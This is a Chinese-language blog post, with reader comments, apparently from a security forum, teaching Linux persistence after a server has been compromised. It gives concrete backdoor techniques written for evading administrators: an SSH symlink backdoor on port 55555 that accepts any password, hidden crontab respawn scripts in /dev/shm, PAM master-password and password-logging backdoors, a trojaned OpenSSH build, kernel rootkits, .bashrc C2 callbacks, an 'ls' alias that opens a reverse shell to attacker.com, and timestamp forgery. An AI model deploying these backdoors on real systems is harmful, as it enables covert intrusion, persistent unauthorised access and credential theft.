Linux权限维持有哪些可靠方法?
Linux权限维持一键工具
渗透测试进入后渗透阶段,或是攻击者成功入侵一台linux服务器后,最怕什么?不是被防火墙拦住,而是费尽心思拿到的shell,一觉醒来就断了线。权限维持,说白了,就是给自己留的后门,而且是那种管理员一时半会儿发现不了、清理不掉的“暗门”。这活儿讲究的不是声势浩大,而是润物细无声。
用户空间里的“幽灵”:低调的守护者
一提到后门,很多人立马想到要动系统核心。其实不然,在普通用户权限下,就有不少隐蔽性极佳的生存之道。比如,利用 crontab 计划任务。这法子老套但有效,关键在于部署的脚本要足够隐蔽。别傻乎乎地在 /etc/cron.hourly 里放个叫 backdoor.sh 的文件。高手会把它藏在类似 /dev/shm/.systemd-cache 这样的临时文件系统路径,或者伪装成系统日志清理脚本,利用 crontab -e 为当前用户添加任务,而非直接修改系统级的 /etc/crontab 文件。
另一个被低估的方法是 SSH 软连接后门。原理很简单:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=55555。这会在 55555 端口启动一个 SSH 服务,任何密码(甚至空密码)都能登录。它不修改任何 SSH 配置文件,只存在于内存和文件系统的链接中。重启会失效?那就结合上面提到的 crontab,每分钟检查一次这个软连接是否存在,不存在就重建。这种“打地鼠”式的复活策略,能让防守者不胜其烦。
深入腹地:需要Root权限的“终极潜伏”
一旦拿到 root,操作的深度和隐蔽性就上了几个台阶。这里有几个经过时间考验的“重器”。
PAM 后门 堪称经典。PAM(可插拔认证模块)是 linux 身份验证的枢纽。修改一个关键的 PAM 配置文件,比如 /lib/security/pam_unix.so,或者更隐蔽地在 /etc/pam.d/sshd 中插入一行,就能设置一个“万能密码”。无论用户输入什么,只要匹配这个特殊密码,认证一律通过。更高级的做法是记录所有正确的登录密码到某个隐藏文件,相当于不仅留了后门,还把主人所有钥匙的模具都拓了一份。
对于新版本的 OpenSSH,直接修改源码加后门再编译替换,是更稳妥的方法。可以在认证逻辑里埋一个隐蔽的触发条件,比如当用户名包含某个特定字符串时,忽略密码验证直接放行。这种方法编译后的二进制文件,除非进行源码比对或行为分析,否则很难从静态检测中发现异常。
内核层面的“附骨之疽”:Rootkit
如果说前面的方法是伪装和欺骗,那么内核级 Rootkit 就是彻底的“隐身”。它通过加载恶意的内核模块(LKM),直接挂钩(hook)系统调用,比如 readdir(读取目录)、kill(发送信号)。当管理员用 ls 查看目录时,Rootkit 过滤掉后门文件的名字;当用 ps 查看进程时,隐藏掉后门进程;甚至能隐藏网络连接和自身模块。面对一个运作良好的 Rootkit,用户空间的所有检测工具(如 netstat, lsmod)看到的世界都是被精心修饰过的假象。
不过,部署 Rootkit 门槛较高,需要匹配目标系统的内核版本进行编译,且对抗现代内核安全特性(如 SELinux, AppArmor)和完整性检测(如内核模块签名)时可能遇到麻烦。它是一把双刃剑,威力巨大,但操作不慎也容易导致系统不稳定,反而暴露行踪。
比技术更关键:对抗习惯与思维盲区
所有技术手段最终都要面对人的审查。最高明的权限维持,往往利用了管理员的思维定式。例如,修改 ~/.bashrc 或 ~/.zshrc 等 shell 初始化文件,添加一条连接远程 C2 服务器的命令。管理员登录时,后门自动在后台静默运行,而用户看到的只是一个正常的 shell 提示符。再比如,利用 alias 命令创建恶意别名:alias ls='alerts(){ /bin/ls $* --color=auto; bash -i >& /dev/tcp/attacker.com/443 0>&1 & };alerts'。用户每次执行最常用的 ls 命令,都会触发一个反向 shell,而输出看起来却完全正常。
文件的时间戳(atime/mtime/ctime)要记得用 touch -r 参照一个正常系统文件进行修改。文件可以放在那些很少被遍历的目录,比如 /usr/lib/debug/、/usr/share/doc/ 的子目录深处。说到底,权限维持是一场关于“异常”定义的博弈。你的后门越像系统本身的一部分,它的生命周期就越长。
工具自动化生成脚本固然方便,但生成的 payload 往往特征明显。真正可靠的维持,需要手工调整,因地制宜,每一个字节都透着对目标环境的理解。毕竟,在猫鼠游戏里,模板化的老鼠总是最先被抓住的。

参与讨论
这crontab藏法有点东西,之前真没注意/dev/shm还能这么用
SSH软连接后门?学废了(不是)hh
万能密码那段看得我后背发凉,生产环境得赶紧查查
内核rootkit听着牛,但搞崩系统不就露馅了?🤔
alias劫持ls也太阴了吧,天天用的命令突然变后门入口
求问PAM后门在Ubuntu 22.04上还能用吗?试了好像没反应
前几天刚被这种.bashrc后门坑过,登录就掉shell,烦死了
又是讲渗透的,能不能来点防御视角的实操?
手工改比工具生成靠谱多了,上次用msf留的痕迹全被EDR扫出来了